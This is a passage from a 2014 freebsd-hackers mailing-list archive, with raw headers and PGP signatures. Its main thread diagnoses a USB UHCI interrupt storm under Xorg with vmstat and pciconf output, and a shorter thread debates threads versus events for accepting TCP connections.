Prodan wrote: > >=20 > >=20 > > =20 > > --- Original message --- > > From: "Dutch Ingraham" > > Date: 7 June 2014, 18:33:12 > > =20 > >=20 > >> > >> Thanks for the response. > >> > >> The output you requested: > >> > >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) > >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > >> > >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > >> > >> I also changed the type of timer to LAPIC and rebooted; there was no > >> appreciable change in the interrupt activity. > >=20 > > After reboot what became timer? :) > >=20 > > You can change the timer "on the fly", without rebooting the system. > >=20 > > If LAPIC does not help, then try other timers. > >=20 > >=20 > > -- > > Vladislav V. Prodan > > System & Network Administrator > > support.od.ua > > =20 > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" > >=20 >=20 > You're right, it is not persistent. I changed to each different event > timer and the only one that made a difference was the i8254; that > dropped the cpu load from 30% to 10-12%. Much better, but still of > course not acceptable for a Core II-Duo running at 3.0GHz. The load > averages shown in do also drop proportionally. Interestingly, > though, shows the same interrupt rate - 325K/sec. >=20 > What do you make of the fact that when I suspend with < > and then wake-up, everything is absolutely normal, regardless of event > timer type? You did not shown _useful_ output of vmstat -i. Do it when the storm occurs. Also, show the pciconf -lvc output on the machine. --SlNsYPPA1sYaSN7W Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTk1KfAAoJEJDCuSvBvK1B18UP+wWcdB8DAcwXxD+P7pdUG5Ql 5IFRioTm/4T9dgb3/zSVy2i66L5mAY+bIDGC7HOUVffyfkZDC1dzzpKSdE3lIJmm 7YvEV+luXURfOUnj1cvrdmJ91ld4jY0CMBgUvb1EJzylQr080H1Lxfg7KPPVL+Go XtVgf+l8e8/0MIC3ovZK2Vb9k5YPvP5GIR2Ep+FGac8Zl0XaJ9KTKB4DFgAu1DXq R9nyTsyHfWg+T4+ongV39SAZmJXvvO0al10wOWNSCembhabaFI1A7B/YwL3l3MOr yAvHeTaDeJoLHe0Lok7a9FCKTqCmw+3Q8zIxts7iDHXsXbehdTLubBcfF9zboo5t M5eJ8gYAo01oGX1hkW7n68n5wHwzj8AkgSUk9lVy8zpnz5HEuydz6AK0CFUeEJs7 hlOtcpacBXbMmYuaq8YP1LwfLpkCvWZ4FejUf6+bTdDOr5tJHNeDckKMw4ejJ5O2 QW2gI7IMK+LjZxeBFTJoizQcLs5/Rul5SyuetK+wGLY4HA0s0/X2QY5tBpxRvjeI an0cNz/vMMCmvS6POXY+HOgWeDOugnrJxr9lbMNarEaZ4qV8pldA+UyRQQHhQTKM MlwAI7R4VT8sKBOctoKfn3Unf8W5g8uTE5Lm6Yi2jFUfc0nJ0vuiriS37eDVBiQf A1vlp8oNYZvPQEdjNw2r =IdXS -----END PGP SIGNATURE----- --SlNsYPPA1sYaSN7W-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 18:21:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A08CE8D1 for ; Sat, 7 Jun 2014 18:21:10 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 680332502 for ; Sat, 7 Jun 2014 18:21:10 +0000 (UTC) Received: from [172.15.184.248] by 3capp-mailcom-lxa12 with HTTP; Sat, 7 Jun 2014 20:21:08 +0200 MIME-Version: 1.0 Message-ID: From: "Dutch Ingraham" To: "Konstantin Belousov" Subject: Re: Fwd: Interrupt Overload Content-Type: text/plain; charset=UTF-8 Date: Sat, 7 Jun 2014 20:21:08 +0200 Importance: normal Sensitivity: Normal In-Reply-To: <20140607175752.GP3991@kib.kiev.ua> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us>, <20140607175752.GP3991@kib.kiev.ua> X-UI-Message-Type: mail X-Priority: 3 X-Provags-ID: V03:K0:zZG8XWudlSBEBrQwM2fZ85g9z/EobLCQwinQOs9aVw8 lJz5dchdcmVwaOggSl/xOFY1vyYJDl2LfiUpu/Ua0Skpf/mgb5 1rJLFP7bYSz10oO8imaAClRxXz00btwe37xUFFHIaQoHON4y4q kBP82cZTx17UIj0igA8cHdaJOBW4hpWlnU93UCi5LWayJoeBwp HqmqSZ1WQKucJPuGqVFn04w17BhgK1ofGmVvQaLkxwPe86pD+P eNXJ9IB2A46lsGD8tvGyCMPAFXWLUAIe3YXYr4fE7HtTlYLrUl 50apXkyadvMB6NnEMdGGx1cPRHb Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 18:21:10 -0000 > Sent: Saturday, June 07, 2014 at 1:57 PM > From: "Konstantin Belousov" > To: "Dutch Ingraham" > Cc: freebsd-hackers@freebsd.org > Subject: Re: Fwd: Interrupt Overload > > On Sat, Jun 07, 2014 at 12:48:16PM -0400, Dutch Ingraham wrote: > > On 06/07/2014 12:04 PM, Vladislav Prodan wrote: > > > > > > > > > > > > --- Original message --- > > > From: "Dutch Ingraham" > > > Date: 7 June 2014, 18:33:12 > > > > > > > > >> > > >> Thanks for the response. > > >> > > >> The output you requested: > > >> > > >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 (440) > > >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > >> > > >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > >> > > >> I also changed the type of timer to LAPIC and rebooted; there was no > > >> appreciable change in the interrupt activity. > > > > > > After reboot what became timer? :) > > > > > > You can change the timer "on the fly", without rebooting the system. > > > > > > If LAPIC does not help, then try other timers. > > > > > > > > > -- > > > Vladislav V. Prodan > > > System & Network Administrator > > > support.od.ua > > > > > > _______________________________________________ > > > freebsd-hackers@freebsd.org mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > > > > > > You're right, it is not persistent. I changed to each different event > > timer and the only one that made a difference was the i8254; that > > dropped the cpu load from 30% to 10-12%. Much better, but still of > > course not acceptable for a Core II-Duo running at 3.0GHz. The load > > averages shown in do also drop proportionally. Interestingly, > > though, shows the same interrupt rate - 325K/sec. > > > > What do you make of the fact that when I suspend with < > > and then wake-up, everything is absolutely normal, regardless of event > > timer type? > > You did not shown _useful_ output of vmstat -i. Do it when the storm > occurs. Also, show the pciconf -lvc output on the machine. > Sorry - I was entering that output by hand, so truncated what I thought was not useful. In addition, the storm is always occurring, unless I put the machine to sleep and then wake-up. Here is the full vmstat -i: dutch:~:# vmstat -i interrupt total rate irq1: atkbd0 48 0 irq0: attimer0 12236927 1178 irq8: atrtc0 146537 14 irq16: uhci0 3362560857 323946 irq18: atapci0+ 19828 1 irq23: uhci3 ehci1 2 0 cpu0:timer 163301 15 irq256: hpet0:t0 4516011 435 irq257: hpet0:t1 83960 8 irq264: em0 31799 3 irq265: hdac0 95 0 irq266: ahci0:ch0 8423 0 irq267: ahci0:ch1 15620 1 cpu1:timer 1229 0 irq274: vgapci0 10041 0 Total 3379794678 325606 dutch:~:# And here is pciconf -lvc: dutch:~:# pciconf -lvc hostb0@pci0:0:0:0: class=0x060000 card=0x04201028 chip=0x2e108086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '4 Series Chipset DRAM Controller' class = bridge subclass = HOST-PCI cap 09[e0] = vendor (length 12) Intel cap 6 version 1 pcib1@pci0:0:1:0: class=0x060400 card=0x04201028 chip=0x2e118086 rev=0x03 hdr=0x01 vendor = 'Intel Corporation' device = '4 Series Chipset PCI Express Root Port' class = bridge subclass = PCI-PCI cap 0d[88] = PCI Bridge card=0x04201028 cap 01[80] = powerspec 3 supports D0 D3 current D0 cap 05[90] = MSI supports 1 message cap 10[a0] = PCI-Express 2 root port slot max data 128(128) link x0(x16) speed 0.0(5.0) ASPM disabled(L0s) ecap 0002[100] = VC 1 max VC0 ecap 0005[140] = Root Complex Link Declaration 1 vgapci0@pci0:0:2:0: class=0x030000 card=0x04201028 chip=0x2e128086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '4 Series Chipset Integrated Graphics Controller' class = display subclass = VGA cap 05[90] = MSI supports 1 message enabled with 1 message cap 01[d0] = powerspec 2 supports D0 D3 current D0 vgapci1@pci0:0:2:1: class=0x038000 card=0x04201028 chip=0x2e138086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '4 Series Chipset Integrated Graphics Controller' class = display cap 01[d0] = powerspec 2 supports D0 D3 current D0 none0@pci0:0:3:0: class=0x078000 card=0x04201028 chip=0x2e148086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '4 Series Chipset HECI Controller' class = simple comms cap 01[50] = powerspec 3 supports D0 D3 current D0 cap 05[8c] = MSI supports 1 message, 64 bit atapci0@pci0:0:3:2: class=0x010185 card=0x04201028 chip=0x2e168086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '4 Series Chipset PT IDER Controller' class = mass storage subclass = ATA cap 01[c8] = powerspec 3 supports D0 D3 current D0 cap 05[d0] = MSI supports 1 message, 64 bit uart2@pci0:0:3:3: class=0x070002 card=0x04201028 chip=0x2e178086 rev=0x03 hdr=0x00 vendor = 'Intel Corporation' device = '4 Series Chipset Serial KT Controller' class = simple comms subclass = UART cap 01[c8] = powerspec 3 supports D0 D3 current D0 cap 05[d0] = MSI supports 1 message, 64 bit em0@pci0:0:25:0: class=0x020000 card=0x02761028 chip=0x10de8086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82567LM-3 Gigabit Network Connection' class = network subclass = ethernet cap 01[c8] = powerspec 2 supports D0 D3 current D0 cap 05[d0] = MSI supports 1 message, 64 bit enabled with 1 message cap 13[e0] = PCI Advanced Features: FLR TP uhci0@pci0:0:26:0: class=0x0c0300 card=0x04201028 chip=0x3a678086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB UHCI Controller' class = serial bus subclass = USB cap 13[50] = PCI Advanced Features: FLR TP uhci1@pci0:0:26:1: class=0x0c0300 card=0x04201028 chip=0x3a688086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB UHCI Controller' class = serial bus subclass = USB cap 13[50] = PCI Advanced Features: FLR TP uhci2@pci0:0:26:2: class=0x0c0300 card=0x04201028 chip=0x3a698086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB UHCI Controller' class = serial bus subclass = USB cap 13[50] = PCI Advanced Features: FLR TP ehci0@pci0:0:26:7: class=0x0c0320 card=0x04201028 chip=0x3a6c8086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB2 EHCI Controller' class = serial bus subclass = USB cap 01[50] = powerspec 2 supports D0 D3 current D0 cap 0a[58] = EHCI Debug Port at offset 0xa0 in map 0x14 cap 13[98] = PCI Advanced Features: FLR TP hdac0@pci0:0:27:0: class=0x040300 card=0x04201028 chip=0x3a6e8086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) HD Audio Controller' class = multimedia subclass = HDA cap 01[50] = powerspec 2 supports D0 D3 current D0 cap 05[60] = MSI supports 1 message, 64 bit enabled with 1 message cap 10[70] = PCI-Express 1 root endpoint max data 128(128) FLR link x0(x0) ecap 0002[100] = VC 1 max VC1 ecap 0005[130] = Root Complex Link Declaration 1 pcib2@pci0:0:28:0: class=0x060400 card=0x04201028 chip=0x3a708086 rev=0x02 hdr=0x01 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) PCI Express Port 1' class = bridge subclass = PCI-PCI cap 10[40] = PCI-Express 2 root port slot max data 128(128) link x0(x1) speed 0.0(2.5) ASPM disabled(L0s) cap 05[80] = MSI supports 1 message cap 0d[90] = PCI Bridge card=0x04201028 cap 01[a0] = powerspec 2 supports D0 D3 current D0 ecap 0002[100] = VC 1 max VC0 ecap 0005[180] = Root Complex Link Declaration 1 pcib3@pci0:0:28:1: class=0x060400 card=0x04201028 chip=0x3a728086 rev=0x02 hdr=0x01 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) PCI Express Port 2' class = bridge subclass = PCI-PCI cap 10[40] = PCI-Express 2 root port slot max data 128(128) link x0(x1) speed 0.0(2.5) ASPM disabled(L0s) cap 05[80] = MSI supports 1 message cap 0d[90] = PCI Bridge card=0x04201028 cap 01[a0] = powerspec 2 supports D0 D3 current D0 ecap 0002[100] = VC 1 max VC0 ecap 0005[180] = Root Complex Link Declaration 1 uhci3@pci0:0:29:0: class=0x0c0300 card=0x04201028 chip=0x3a648086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB UHCI Controller' class = serial bus subclass = USB cap 13[50] = PCI Advanced Features: FLR TP uhci4@pci0:0:29:1: class=0x0c0300 card=0x04201028 chip=0x3a658086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB UHCI Controller' class = serial bus subclass = USB cap 13[50] = PCI Advanced Features: FLR TP uhci5@pci0:0:29:2: class=0x0c0300 card=0x04201028 chip=0x3a668086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB UHCI Controller' class = serial bus subclass = USB cap 13[50] = PCI Advanced Features: FLR TP ehci1@pci0:0:29:7: class=0x0c0320 card=0x04201028 chip=0x3a6a8086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) USB2 EHCI Controller' class = serial bus subclass = USB cap 01[50] = powerspec 2 supports D0 D3 current D0 cap 0a[58] = EHCI Debug Port at offset 0xa0 in map 0x14 cap 13[98] = PCI Advanced Features: FLR TP pcib4@pci0:0:30:0: class=0x060401 card=0x04201028 chip=0x244e8086 rev=0xa2 hdr=0x01 vendor = 'Intel Corporation' device = '82801 PCI Bridge' class = bridge subclass = PCI-PCI cap 0d[50] = PCI Bridge card=0x04201028 isab0@pci0:0:31:0: class=0x060100 card=0x04201028 chip=0x3a148086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JDO (ICH10DO) LPC Interface Controller' class = bridge subclass = PCI-ISA cap 09[e0] = vendor (length 12) Intel cap 1 version 0 features: SATA RAID-5, 4 PCI-e x1 slots ahci0@pci0:0:31:2: class=0x010400 card=0x04201028 chip=0x28228086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801 SATA Controller [RAID mode]' class = mass storage subclass = RAID cap 05[80] = MSI supports 8 messages enabled with 8 messages cap 01[70] = powerspec 3 supports D0 D3 current D0 cap 12[a8] = SATA Index-Data Pair cap 13[b0] = PCI Advanced Features: FLR TP none1@pci0:0:31:3: class=0x0c0500 card=0x04201028 chip=0x3a608086 rev=0x02 hdr=0x00 vendor = 'Intel Corporation' device = '82801JD/DO (ICH10 Family) SMBus Controller' class = serial bus subclass = SMBus dutch:~:# This is with the HPET timer and recall this is only happening with the xorg-server running; all is normal without X running. Thanks for looking at this for me. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 18:38:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1BE02EB5; Sat, 7 Jun 2014 18:38:49 +0000 (UTC) Received: from mail-qa0-x22e.google.com (mail-qa0-x22e.google.com [IPv6:2607:f8b0:400d:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A8F0425EA; Sat, 7 Jun 2014 18:38:48 +0000 (UTC) Received: by mail-qa0-f46.google.com with SMTP id w8so6039062qac.33 for ; Sat, 07 Jun 2014 11:38:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=FbUDRmXjkA8ufzhvUcR/RT/i5PL5iS6Q3hcZAoOe2pE=; b=kLH1Ej6y+FVb/e+q0Nak4Man19v8pF3SFvdosTf++vmMHcjtxLYwUvORrGf/Chjdko CXeegXoW6sDYLIq5WQ7VcpS9tC4c5JGGbuS0lU6yKyqrmU7UsUBqq42dNT6azimMugSm 3N92QNf4p2R6RrwVl9DJ+yM+2GYjaoec+1azcmdf95KqeQ4fxrF6ieqS7Lg9+Ah6sIVO Ao8uUPyqRuMfSOSLjzpP5uhDmSnHyz+rp+9FeoRba2Lw+tmF82PH2afxJOxzFlxyW+jb 3NNslNN1SNs3wndrCtKwSELO4hzryzyrdUtJr4V95ck8Rqy/i3dUGc6/YFsRPPXy9+am pr7Q== X-Received: by 10.140.30.161 with SMTP id d30mr18790613qgd.62.1402166327768; Sat, 07 Jun 2014 11:38:47 -0700 (PDT) MIME-Version: 1.0 Sender: mozolevsky@gmail.com Received: by 10.224.100.72 with HTTP; Sat, 7 Jun 2014 11:38:07 -0700 (PDT) In-Reply-To: <1402159374.20883.160.camel@revolution.hippie.lan> References: <1402159374.20883.160.camel@revolution.hippie.lan> From: Igor Mozolevsky Date: Sat, 7 Jun 2014 19:38:07 +0100 X-Google-Sender-Auth: VRXZQOAFFoybZdb5NPaGm0c0gjw Message-ID: Subject: Re: Best practice for accepting TCP connections on multicore? To: Ian Lepore Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: Hackers freeBSD , Adrian Chadd , Daniel Janzon , Dirk Engling X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 18:38:49 -0000 On 7 June 2014 17:42, Ian Lepore wrote: > On Sat, 2014-06-07 at 12:06 -0400, Adrian Chadd wrote: > > On 7 June 2014 10:19, Igor Mozolevsky wrote: > > > On 7 June 2014 01:53, Dirk Engling wrote: > > > > > >> > > >> On Sat, 7 Jun 2014, Daniel Janzon wrote: > > >> > > >> Is there any better way than doing the accept() call in one thread > and > > >>> then > > >>> dispatch it to a thread on another core with any user space method? > > >>> > > >> > > > See C10K problem [1]. > > > > > > > > > Why use accept() and not kevent()? You need to keep it portable? > > >> > > > > > > Has anyone rebutted the threads better than events paper[2] yet? > > > > > > > > > > > > 1. http://www.kegel.com/c10k.html > > > > > > 2. > > > > https://www.usenix.org/legacy/events/hotos03/tech/full_papers/vonbehren/vonbehren.pdf > > > > Not likely; but that paper talks about a threading model that isn't > > currently in use in popular UNIX operating systems. It also compares a > > lightweight thread implementation with a lightweight server to an > > event driven system with worker threads that acted pretty badly, > > causing extremely bad memory use and context switching. > > > > We've all gotten better at programming since then. > > Yeah, when I glanced at the link and saw it was a cite of a 2003 paper, > my gut reaction was "Yeah, it has been rebutted by 11 years of everyone > just getting on with their lives and evolving absolutely everything that > was tested into something completely different now." > I can't possibly argue with that sort of scientific method, but back in 2008, someone did some stuff with Java and got interesting results[1]. 1. http://www.mailinator.com/tymaPaulMultithreaded.pdf -- Igor M. From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 18:41:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3D9E5FA7 for ; Sat, 7 Jun 2014 18:41:37 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B772025FF for ; Sat, 7 Jun 2014 18:41:36 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s57IfQqe038334; Sat, 7 Jun 2014 21:41:26 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s57IfQqe038334 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s57IfQ0q038333; Sat, 7 Jun 2014 21:41:26 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 7 Jun 2014 21:41:26 +0300 From: Konstantin Belousov To: Dutch Ingraham Subject: Re: Fwd: Interrupt Overload Message-ID: <20140607184126.GQ3991@kib.kiev.ua> References: <538A3432.5010303@gmx.us> <53930E19.8090603@gmx.us> <53931963.4040604@selasky.org> <53932314.6010108@gmx.us> <1402153691.709851721.u6k6kkkk@frv35.fwdcdn.com> <53933110.8060300@gmx.us> <1402157083.156846225.m95e69ke@frv35.fwdcdn.com> <53934250.1090403@gmx.us> <20140607175752.GP3991@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="jHnPw6A2BvaEmbUM" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 07 Jun 2014 18:41:37 -0000 --jHnPw6A2BvaEmbUM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jun 07, 2014 at 08:21:08PM +0200, Dutch Ingraham wrote: >=20 >=20 > > Sent: Saturday, June 07, 2014 at 1:57 PM > > From: "Konstantin Belousov" > > To: "Dutch Ingraham" > > Cc: freebsd-hackers@freebsd.org > > Subject: Re: Fwd: Interrupt Overload > > > > On Sat, Jun 07, 2014 at 12:48:16PM -0400, Dutch Ingraham wrote: > > > On 06/07/2014 12:04 PM, Vladislav Prodan wrote: > > > >=20 > > > >=20 > > > > =20 > > > > --- Original message --- > > > > From: "Dutch Ingraham" > > > > Date: 7 June 2014, 18:33:12 > > > > =20 > > > >=20 > > > >> > > > >> Thanks for the response. > > > >> > > > >> The output you requested: > > > >> > > > >> kern.eventtimer.choice: HPET1 (440) HPET2 (440) HPET3 (440) HPET4 = (440) > > > >> HPET5 (440) HPET6 (440) LAPIC (400) i8254 (100) RTC (0) > > > >> > > > >> kern.eventtimer.choice: HPET (did not specify 1, 2, etc.) > > > >> > > > >> I also changed the type of timer to LAPIC and rebooted; there was = no > > > >> appreciable change in the interrupt activity. > > > >=20 > > > > After reboot what became timer? :) > > > >=20 > > > > You can change the timer "on the fly", without rebooting the system. > > > >=20 > > > > If LAPIC does not help, then try other timers. > > > >=20 > > > >=20 > > > > -- > > > > Vladislav V. Prodan > > > > System & Network Administrator > > > > support.od.ua > > > > =20 > > > > _______________________________________________ > > > > freebsd-hackers@freebsd.org mailing list > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > > > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freeb= sd.org" > > > >=20 > > >=20 > > > You're right, it is not persistent. I changed to each different event > > > timer and the only one that made a difference was the i8254; that > > > dropped the cpu load from 30% to 10-12%. Much better, but still of > > > course not acceptable for a Core II-Duo running at 3.0GHz. The load > > > averages shown in do also drop proportionally. Interestingly, > > > though, shows the same interrupt rate - 325K/sec. > > >=20 > > > What do you make of the fact that when I suspend with < > > > and then wake-up, everything is absolutely normal, regardless of event > > > timer type? > >=20 > > You did not shown _useful_ output of vmstat -i. Do it when the storm > > occurs. Also, show the pciconf -lvc output on the machine. > >=20 >=20 > Sorry - I was entering that output by hand, so truncated what I thought w= as not useful. =20 > In addition, the storm is always occurring, unless I put the machine to s= leep and then wake-up. >=20 > Here is the full vmstat -i: >=20 > dutch:~:# vmstat -i > interrupt total rate > irq1: atkbd0 48 0 > irq0: attimer0 12236927 1178 > irq8: atrtc0 146537 14 > irq16: uhci0 3362560857 323946 > irq18: atapci0+ 19828 1 > irq23: uhci3 ehci1 2 0 > cpu0:timer 163301 15 > irq256: hpet0:t0 4516011 435 > irq257: hpet0:t1 83960 8 > irq264: em0 31799 3 > irq265: hdac0 95 0 > irq266: ahci0:ch0 8423 0 > irq267: ahci0:ch1 15620 1 > cpu1:timer 1229 0 > irq274: vgapci0 10041 0 > Total 3379794678 325606 > dutch:~:# >=20 > And here is pciconf -lvc: >=20 > dutch:~:# pciconf -lvc > hostb0@pci0:0:0:0: class=3D0x060000 card=3D0x04201028 chip=3D0x2e108086 r= ev=3D0x03 hdr=3D0x00 > vendor =3D 'Intel Corporation' > device =3D '4 Series Chipset DRAM Controller' > class =3D bridge > subclass =3D HOST-PCI > cap 09[e0] =3D vendor (length 12) Intel cap 6 version 1 > pcib1@pci0:0:1:0: class=3D0x060400 card=3D0x04201028 chip=3D0x2e118086 re= v=3D0x03 hdr=3D0x01 > vendor =3D 'Intel Corporation' > device =3D '4 Series Chipset PCI Express Root Port' > class =3D bridge > subclass =3D PCI-PCI > cap 0d[88] =3D PCI Bridge card=3D0x04201028 > cap 01[80] =3D powerspec 3 supports D0 D3 current D0 > cap 05[90] =3D MSI supports 1 message=20 > cap 10[a0] =3D PCI-Express 2 root port slot max data 128(128) link x0= (x16) > speed 0.0(5.0) ASPM disabled(L0s) > ecap 0002[100] =3D VC 1 max VC0 > ecap 0005[140] =3D Root Complex Link Declaration 1 > vgapci0@pci0:0:2:0: class=3D0x030000 card=3D0x04201028 chip=3D0x2e128086 = rev=3D0x03 hdr=3D0x00 > vendor =3D 'Intel Corporation' > device =3D '4 Series Chipset Integrated Graphics Controller' > class =3D display > subclass =3D VGA > cap 05[90] =3D MSI supports 1 message enabled with 1 message > cap 01[d0] =3D powerspec 2 supports D0 D3 current D0 Try to set the tunable hw.drm.msi to 0 before i915 driver is loaded. I.e. the easiest is to set it at loader prompt. If you load driver by starting Xorg, then kenv hw.drm.msi=3D0 would be enough. Either way, helped it or not, post the vmstat -i output while the Xorg is running. --jHnPw6A2BvaEmbUM Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTk1zVAAoJEJDCuSvBvK1BJ9gP/A/9wsfjzpG5r79c2VoCIIcL BKsLj1YjzG9Vllefxjl5C6jopr/Pc0snbmBArW7I0C7B3EQrvvkrAEQdrUV4VfKQ ppaRDQdgYxy8we4m4mxhYuu9xns/Sr/k7TnfF3ujrxKPjiwovUQDDjZNKBVp7rvN L8FrvqKTKV1AAIanMNQPvKxbrOnBRi1hOD57HABcaK8V81gDCfXgj+n3XPMK0aGR caIGn8rH6NZEmaMAKeYfh5zTeqcHE8RkiX+1r8/4rCUkJ/yKceL7LLBZfvusc4j8 UOZ5nrRxagXlTcmjPfDovcHe2+qdDMIe1vZj0DeOHTq9z3515wkuAcgKDCy4TETK KGNdzGr6xCCMhakJZR6bj20Fly81YPq0qSkGjMC7+3h4APJQsyZeGtuieea58AR4 crqAiDLQML6TXh8Z8UqrsRCaP4r7L/6/AB5NILUaiodHZ+zOk4tqSbXeVALNsFp1 l+Wq8OoiHJ+Ok5VHkgq3Qy91wozYcjUugdWRfPWk+BM/MTuirH42y1D0PDv/jK4S 65E2x286j+/ratLXK/tejVr97XvC1HoJWrPdo4z43C+MS7l5/BqMjqj74Dop1n2q yVupLZPk6lqhiTaHnabLqnJu9u4GQLM3rn7k4z9f9GSaal2Y9mSfuQ73iqwwP/Mj p6Ny/6FiYpNJFgTYBF6+ =Wg7y -----END PGP SIGNATURE----- --jHnPw6A2BvaEmbUM-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jun 7 19:15:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1AECCB31; Sat, 7 Jun 2014 19:15:20 +0000 (UTC) Received: from mail-qa0-x236.google.com 